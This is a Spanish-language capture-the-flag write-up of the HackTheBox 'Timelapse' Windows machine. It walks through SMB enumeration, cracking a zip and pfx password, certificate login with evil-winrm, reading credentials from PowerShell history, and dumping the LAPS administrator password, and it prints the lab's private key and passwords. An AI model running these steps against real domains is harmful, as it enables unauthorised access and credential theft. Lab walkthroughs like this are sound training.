Timelapse es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Timelapse 10.10.11.152 a /etc/hosts como timelapse.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
nmap -sV -sC -oA enumeration/nmap1 -Pn 10.10.11.152 Nmap scan report for 10.10.11.152 Host is up (0.046s latency). Not shown: 992 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 636/tcp open tcpwrapped 3269/tcp open tcpwrapped Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 7h59m59s | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb2-time: | date: 2022-07-22T21:59:23 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jul 22 14:00:00 2022 -- 1 IP address (1 host up) scanned in 71.23 seconds |
Hacemos un primer escaneo y vemos varios puertos interesantes así que vamos a ver que podemos sacar de los mismos.
Enumeración
Empezamos enumerando el servicio de smb y podemos obtener el contenido sin necesidad de disponer de claves de acceso.
|
1 2 3 4 5 6 7 8 9 10 11 |
$ smbclient -L //10.10.11.152 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Shares Disk SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available |
Tenemos acceso así que vamos a ver si podemos sacar algo más de alguno de los directorios y encontramos varios ficheros en el directorio Shares
|
1 2 3 4 5 6 7 8 9 10 |
$ smbclient //10.10.11.152/Shares/ Enter WORKGROUP\asdf's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Oct 25 15:39:15 2021 .. D 0 Mon Oct 25 15:39:15 2021 Dev D 0 Mon Oct 25 19:40:06 2021 HelpDesk D 0 Mon Oct 25 15:48:42 2021 6367231 blocks of size 4096. 1293571 blocks available |
Así que revisamos cada directorio y nos descargamos su contenido para examinarlo más a fondo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
smb: \> cd Dev smb: \Dev\> ls . D 0 Mon Oct 25 19:40:06 2021 .. D 0 Mon Oct 25 19:40:06 2021 winrm_backup.zip A 2611 Mon Oct 25 15:46:42 2021 get 6367231 blocks of size 4096. 1294022 blocks available smb: \Dev\> get winrm_backup.zip getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (4,0 KiloBytes/sec) (average 4,0 KiloBytes/sec) smb: \Dev\> cd .. smb: \> ls . D 0 Mon Oct 25 15:39:15 2021 .. D 0 Mon Oct 25 15:39:15 2021 Dev D 0 Mon Oct 25 19:40:06 2021 HelpDesk D 0 Mon Oct 25 15:48:42 2021 cd 6367231 blocks of size 4096. 1292659 blocks available smb: \> cd HelpDesk smb: \HelpDesk\> ls . D 0 Mon Oct 25 15:48:42 2021 .. D 0 Mon Oct 25 15:48:42 2021 LAPS.x64.msi A 1118208 Mon Oct 25 14:57:50 2021 LAPS_Datasheet.docx A 104422 Mon Oct 25 14:57:46 2021 LAPS_OperationsGuide.docx A 641378 Mon Oct 25 14:57:40 2021 LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 14:57:44 2021 6367231 blocks of size 4096. 1291349 blocks available smb: \HelpDesk\> get LAPS.x64.msi getting file \HelpDesk\LAPS.x64.msi of size 1118208 as LAPS.x64.msi (1130,4 KiloBytes/sec) (average 680,7 KiloBytes/sec) smb: \HelpDesk\> get LAPS_Datasheet.docx getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as LAPS_Datasheet.docx (208,5 KiloBytes/sec) (average 570,6 KiloBytes/sec) smb: \HelpDesk\> get LAPS_OperationsGuide.docx getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as LAPS_OperationsGuide.docx (1038,7 KiloBytes/sec) (average 675,1 KiloBytes/sec) smb: \HelpDesk\> get LAPS_TechnicalSpecification.docx getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as LAPS_TechnicalSpecification.docx (114,1 KiloBytes/sec) (average 570,1 KiloBytes/sec) smb: \HelpDesk\> |
Revisamos en primer lugar el fichero zip, el cual contiene un fichero pfx
|
1 2 3 4 5 6 7 |
$ unzip -v winrm_backup.zip Archive: winrm_backup.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 2555 Defl:N 2393 6% 2021-10-25 14:21 12ec5683 legacyy_dev_auth.pfx -------- ------- --- ------- 2555 2393 6% 1 file |
Si probamos a extraer el contenido está protegido por contraseña
|
1 2 3 4 |
$ unzip winrm_backup.zip Archive: winrm_backup.zip [winrm_backup.zip] legacyy_dev_auth.pfx password: skipping: legacyy_dev_auth.pfx incorrect password |
Así que utilizaremos fcrackzip para romper el cifrado y obtener la password
|
1 2 3 4 |
$ fcrackzip -D -u winrm_backup.zip -p /usr/share/wordlists/rockyou.txt PASSWORD FOUND!!!!: pw == supremelegacy |
Ha sido más fácil de lo que parecía así que extraemos el contenido
|
1 2 3 4 |
$ unzip winrm_backup.zip Archive: winrm_backup.zip [winrm_backup.zip] legacyy_dev_auth.pfx password: inflating: legacyy_dev_auth.pfx |
Pero ahora tenemos otro problema, y es que necesitamos otra password diferente para extraer la clave privada y el certificado del fichero pfx, utilizaremos en este caso john para obtener la password y poder extraer su contenido.
En primer lugar extraermos el hash del fichero con pfx2john
|
1 |
$ python3 /home/asdf/github/JohnTheRipper/run/pfx2john.py legacyy_dev_auth.pfx > legacyy_dev_auth.hash |
Y posteriormente utilizamos este hash para sacar su password
|
1 2 3 4 5 6 7 8 9 10 11 |
$ john -w=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.hash --rule /usr/share/john/rules/rockyou-30000.rule Using default input encoding: UTF-8 Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x]) Cost 1 (iteration count) is 2000 for all loaded hashes Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status thuglegacy (legacyy_dev_auth.pfx) 1g 0:00:01:27 DONE (2022-07-22 14:23) 0.01138g/s 36785p/s 36785c/s 36785C/s thuglife06..thug211 Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Ahora que ya tenemos la password vamos a extraer su contenido con openssl.
Extraemos la clave privada
|
1 |
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key -nodes |
Cuyo contenido es
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
Bag Attributes Microsoft Local Key set: <No Values> localKeyID: 01 00 00 00 friendlyName: te-4a534157-c8f1-4724-8db6-ed12f25c2a9b Microsoft CSP Name: Microsoft Software Key Storage Provider Key Attributes X509v3 Key Usage: 90 -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClVgejYhZHHuLz TSOtYXHOi56zSocr9om854YDu/6qHBa4Nf8xFP6INNBNlYWvAxCvKM8aQsHpv3to pwpQ+YbRZDu1NxyhvfNNTRXjdFQV9nIiKkowOt6gG2F+9O5gVF4PAnHPm+YYPwsb oRkYV8QOpzIi6NMZgDCJrgISWZmUHqThybFW/7POme1gs6tiN1XFoPu1zNOYaIL3 dtZaazXcLw6IpTJRPJAWGttqyFommYrJqCzCSaWu9jG0p1hKK7mk6wvBSR8QfHW2 qX9+NbLKegCt+/jAa6u2V9lu+K3MC2NaSzOoIi5HLMjnrujRoCx3v6ZXL0KPCFzD MEqLFJHxAgMBAAECggEAc1JeYYe5IkJY6nuTtwuQ5hBc0ZHaVr/PswOKZnBqYRzW fAatyP5ry3WLFZKFfF0W9hXw3tBRkUkOOyDIAVMKxmKzguK+BdMIMZLjAZPSUr9j PJFizeFCB0sR5gvReT9fm/iIidaj16WhidQEPQZ6qf3U6qSbGd5f/KhyqXn1tWnL GNdwA0ZBYBRaURBOqEIFmpHbuWZCdis20CvzsLB+Q8LClVz4UkmPX1RTFnHTxJW0 Aos+JHMBRuLw57878BCdjL6DYYhdR4kiLlxLVbyXrP+4w8dOurRgxdYQ6iyL4UmU Ifvrqu8aUdTykJOVv6wWaw5xxH8A31nl/hWt50vEQQKBgQDYcwQvXaezwxnzu+zJ 7BtdnN6DJVthEQ+9jquVUbZWlAI/g2MKtkKkkD9rWZAK6u3LwGmDDCUrcHQBD0h7 tykwN9JTJhuXkkiS1eS3BiAumMrnKFM+wPodXi1+4wJk3YTWKPKLXo71KbLo+5NJ 2LUmvvPDyITQjsoZoGxLDZvLFwKBgQDDjA7YHQ+S3wYk+11q9M5iRR9bBXSbUZja 8LVecW5FDH4iTqWg7xq0uYnLZ01mIswiil53+5Rch5opDzFSaHeS2XNPf/Y//TnV 1+gIb3AICcTAb4bAngau5zm6VSNpYXUjThvrLv3poXezFtCWLEBKrWOxWRP4JegI ZnD1BfmQNwKBgEJYPtgl5Nl829+Roqrh7CFti+a29KN0D1cS/BTwzusKwwWkyB7o btTyQf4tnbE7AViKycyZVGtUNLp+bME/Cyj0c0t5SsvS0tvvJAPVpNejjc381kdN 71xBGcDi5ED2hVj/hBikCz2qYmR3eFYSTrRpo15HgC5NFjV0rrzyluZRAoGAL7s3 QF9Plt0jhdFpixr4aZpPvgsF3Ie9VOveiZAMh4Q2Ia+q1C6pCSYk0WaEyQKDa4b0 6jqZi0B6S71un5vqXAkCEYy9kf8AqAcMl0qEQSIJSaOvc8LfBMBiIe54N1fXnOeK /ww4ZFfKfQd7oLxqcRADvp1st2yhR7OhrN1pfl8CgYEAsJNjb8LdoSZKJZc0/F/r c2gFFK+MMnFncM752xpEtbUrtEULAKkhVMh6mAywIUWaYvpmbHDMPDIGqV7at2+X TTu+fiiJkAr+eTa/Sg3qLEOYgU0cSgWuZI0im3abbDtGlRt2Wga0/Igw9Ewzupc8 A5ZZvI+GsHhm0Oab7PEWlRY= -----END PRIVATE KEY----- |
Y después el certificado
|
1 |
$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out certificate.crt |
Cuyo contenido es
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
Bag Attributes localKeyID: 01 00 00 00 subject=CN = Legacyy issuer=CN = Legacyy -----BEGIN CERTIFICATE----- MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADAS MRAwDgYDVQQDDAdMZWdhY3l5MB4XDTIxMTAyNTE0MDU1MloXDTMxMTAyNTE0MTU1 MlowEjEQMA4GA1UEAwwHTGVnYWN5eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBAKVWB6NiFkce4vNNI61hcc6LnrNKhyv2ibznhgO7/qocFrg1/zEU/og0 0E2Vha8DEK8ozxpCwem/e2inClD5htFkO7U3HKG9801NFeN0VBX2ciIqSjA63qAb YX707mBUXg8Ccc+b5hg/CxuhGRhXxA6nMiLo0xmAMImuAhJZmZQepOHJsVb/s86Z 7WCzq2I3VcWg+7XM05hogvd21lprNdwvDoilMlE8kBYa22rIWiaZismoLMJJpa72 MbSnWEoruaTrC8FJHxB8dbapf341ssp6AK37+MBrq7ZX2W74rcwLY1pLM6giLkcs yOeu6NGgLHe/plcvQo8IXMMwSosUkfECAwEAAaN4MHYwDgYDVR0PAQH/BAQDAgWg MBMGA1UdJQQMMAoGCCsGAQUFBwMCMDAGA1UdEQQpMCegJQYKKwYBBAGCNxQCA6AX DBVsZWdhY3l5QHRpbWVsYXBzZS5odGIwHQYDVR0OBBYEFMzZDuSvIJ6wdSv9gZYe rC2xJVgZMA0GCSqGSIb3DQEBCwUAA4IBAQBfjvt2v94+/pb92nLIS4rna7CIKrqa m966H8kF6t7pHZPlEDZMr17u50kvTN1D4PtlCud9SaPsokSbKNoFgX1KNX5m72F0 3KCLImh1z4ltxsc6JgOgncCqdFfX3t0Ey3R7KGx6reLtvU4FZ+nhvlXTeJ/PAXc/ fwa2rfiPsfV51WTOYEzcgpngdHJtBqmuNw3tnEKmgMqp65KYzpKTvvM1JjhI5txG hqbdWbn2lS4wjGy3YGRZw6oM667GF13Vq2X3WHZK5NaP+5Kawd/J+Ms6riY0PDbh nx143vIioHYMiGCnKsHdWiMrG2UWLOoeUrlUmpr069kY/nn7+zSEa2pA -----END CERTIFICATE----- |
Ahora que ya tenemos el certificado y la clave privada, utilizamos los mismos para acceder a la máquina con evil-winrm
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ ruby /home/asdf/github/evil-winrm/evil-winrm.rb -S -k decrypt-private.key -c certificate.pem -i 10.10.11.152 Evil-WinRM shell v3.3 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: SSL enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\legacyy\Documents> whoami timelapse\legacyy *Evil-WinRM* PS C:\Users\legacyy\Documents> |
Obteniendo la flag de user
Ahora qe ya estamos dentro, nos vamos al escritorio del usuario para obtener nuestra flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd .. *Evil-WinRM* PS C:\Users\legacyy> cd desktop *Evil-WinRM* PS C:\Users\legacyy\desktop> ls Directory: C:\Users\legacyy\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/22/2022 2:26 PM 34 user.txt *Evil-WinRM* PS C:\Users\legacyy\desktop> type user.txt 7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxb *Evil-WinRM* PS C:\Users\legacyy\desktop> |
Escalado de privilegios
Ahora el siguiente paso será escalar privilegios, para ello, entre otras cosas revisamos el usuario
|
1 2 3 4 5 6 7 8 |
*Evil-WinRM* PS C:\Users\legacyy\desktop> whoami /user USER INFORMATION ---------------- User Name SID ================= ============================================ timelapse\legacyy S-1-5-21-671920749-559770252-3318990721-1603 |
Los privilegios del mismo
|
1 2 3 4 5 6 7 8 9 10 11 |
*Evil-WinRM* PS C:\Users\legacyy\desktop> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\legacyy\desktop> |
E información de red del usuario
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
*Evil-WinRM* PS C:\Users> net user legacyy User name legacyy Full Name Legacyy Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 10/23/2021 12:17:10 PM Password expires Never Password changeable 10/24/2021 12:17:10 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 7/22/2022 3:29:40 PM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *Domain Users *Development The command completed successfully. |
Pero no vemos nada importante así que lanzamos winpeas a ver si nos ayuda en algo y encontramos un fichero muy interesante, se trata del histórico de powershell del usuario, cuyo contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 |
*Evil-WinRM* PS C:\users\legacyy\appdata\roaming\microsoft\windows\powershell\psreadline> type ConsoleHost_history.txt whoami ipconfig /all netstat -ano |select-string LIST $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p) invoke-command -computername localhost -credential $c -port 5986 -usessl - SessionOption $so -scriptblock {whoami} get-aduser -filter * -properties * exit |
Revisando el fichero anterior vemos unas credenciales
|
1 |
svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV |
Pero vamos a aprovechar los comandos existentes en el fichero y vamos a lanzar los mismos, así que preparamos las variables en primer lugar
|
1 2 3 |
*Evil-WinRM* PS C:\users> $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck *Evil-WinRM* PS C:\users> $p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force *Evil-WinRM* PS C:\users> $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p) |
Y verificamos
|
1 2 |
*Evil-WinRM* PS C:\users> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami} timelapse\svc_deploy |
Vale, ha funcionado, pues vamos a obtener información de los privilegios del usuario
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
*Evil-WinRM* PS C:\users> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami /priv} PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\users> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {net user svc_deploy} User name svc_deploy Full Name svc_deploy Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 10/25/2021 12:12:37 PM Password expires Never Password changeable 10/26/2021 12:12:37 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 7/22/2022 3:44:57 PM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *LAPS_Readers *Domain Users The command completed successfully. |
Si nos fijamos atentamente, el usuario svc_deploy pertenece al grupo LAPS_Readers, lo que quiere decir que es capaz de obtener la password utilizada por el administrador local, conocido esto, vamos a tratar de obtener la misma.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
*Evil-WinRM* PS C:\users> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime} PSComputerName : localhost RunspaceId : ac25db9e-ba9f-45c0-810b-efc1e7477e1b DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb DNSHostName : dc01.timelapse.htb Enabled : True ms-Mcs-AdmPwd : S6QY1oDB00ZB8.)8+Cc#]4m1 ms-Mcs-AdmPwdExpirationTime : 133034307686369127 Name : DC01 ObjectClass : computer ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f SamAccountName : DC01$ SID : S-1-5-21-671920749-559770252-3318990721-1000 UserPrincipalName : PSComputerName : localhost RunspaceId : ac25db9e-ba9f-45c0-810b-efc1e7477e1b DistinguishedName : CN=DB01,OU=Database,OU=Servers,DC=timelapse,DC=htb DNSHostName : Enabled : True Name : DB01 ObjectClass : computer ObjectGUID : d38b3265-230f-47ae-bdcd-f7153da7659d SamAccountName : DB01$ SID : S-1-5-21-671920749-559770252-3318990721-1606 UserPrincipalName : PSComputerName : localhost RunspaceId : ac25db9e-ba9f-45c0-810b-efc1e7477e1b DistinguishedName : CN=DB01,OU=Database,OU=Servers,DC=timelapse,DC=htb DNSHostName : Enabled : True Name : DB01 ObjectClass : computer ObjectGUID : d38b3265-230f-47ae-bdcd-f7153da7659d SamAccountName : DB01$ SID : S-1-5-21-671920749-559770252-3318990721-1606 UserPrincipalName : PSComputerName : localhost RunspaceId : ac25db9e-ba9f-45c0-810b-efc1e7477e1b DistinguishedName : CN=WEB01,OU=Web,OU=Servers,DC=timelapse,DC=htb DNSHostName : Enabled : True Name : WEB01 ObjectClass : computer ObjectGUID : 897c7cfe-ba15-4181-8f2c-a74f88952683 SamAccountName : WEB01$ SID : S-1-5-21-671920749-559770252-3318990721-1607 UserPrincipalName : PSComputerName : localhost RunspaceId : ac25db9e-ba9f-45c0-810b-efc1e7477e1b DistinguishedName : CN=DEV01,OU=Dev,OU=Servers,DC=timelapse,DC=htb DNSHostName : Enabled : True Name : DEV01 ObjectClass : computer ObjectGUID : 02dc961a-7a60-4ec0-a151-0472768814ca SamAccountName : DEV01$ SID : S-1-5-21-671920749-559770252-3318990721-1608 UserPrincipalName : |
Así que ejecutamos el comando y obtenemos la password del administrador local, vamos a probar el acceso con evil-winrm.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ ruby /home/asdf/github/evil-winrm/evil-winrm.rb -S -u Administrator -p "S6QY1oDB00ZB8.)8+Cc#]4m1" -i 10.10.11.152 Evil-WinRM shell v3.3 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Warning: SSL enabled Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami timelapse\administrator |
Obteniendo la flag de root
Ya somos admin, así que ahora vamos a obtener nuestra flag, pero para nuestra sorpresa, no está en el lugar habitual, revisamos la home de cada usuario y en este caso se encuentra en el escritorio del usuario TRX, y no en el del usuario administrator
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
*Evil-WinRM* PS C:\Users\TRX> ls desktop Directory: C:\Users\TRX\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/22/2022 2:26 PM 34 root.txt *Evil-WinRM* PS C:\Users\TRX> type desktop/root.txt 7xxxxxxxxxxxxxxxxxxxxxxxxxxxxb *Evil-WinRM* PS C:\Users\TRX> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
